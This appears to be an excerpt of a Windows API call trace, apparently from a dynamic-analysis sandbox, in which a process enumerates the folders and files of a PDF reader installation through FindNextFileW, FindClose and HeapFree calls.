	[0174.562] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0174.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.578] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0174.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.578] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0174.578] FindClose (in: hFindFile=0x394b6b8 | out: hFindFile=0x394b6b8) returned 1
	[0174.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5620070 | out: hHeap=0x4f0000) returned 1
	[0174.578] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0174.579] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0174.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0174.579] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 0
	[0174.579] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0174.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.581] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0174.581] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0174.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0174.581] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1
	[0174.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0174.683] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0174.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.710] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0174.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0174.720] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0174.720] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0174.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.720] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0174.720] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0174.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0174.720] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0174.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.748] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.749] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.750] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.751] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.752] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.754] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.755] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.755] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.756] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.756] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.756] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0174.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0174.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0174.758] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0174.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0174.760] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0
	[0174.760] FindClose (in: hFindFile=0x394b538 | out: hFindFile=0x394b538) returned 1
	[0174.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0174.760] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1
	[0174.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0174.760] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0
	[0174.760] FindClose (in: hFindFile=0x394b5b8 | out: hFindFile=0x394b5b8) returned 1
	[0174.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0174.760] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0
	[0174.761] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0174.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0174.761] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1
	[0174.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0174.762] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0
	[0174.762] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0174.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0174.762] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1
	[0174.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0174.762] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1
	[0174.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0174.777] FindNextFileW (in: hFindFile=0x394bb38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1
	[0175.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.461] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY______.PFB", cAlternateFileName="")) returned 1
	[0175.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
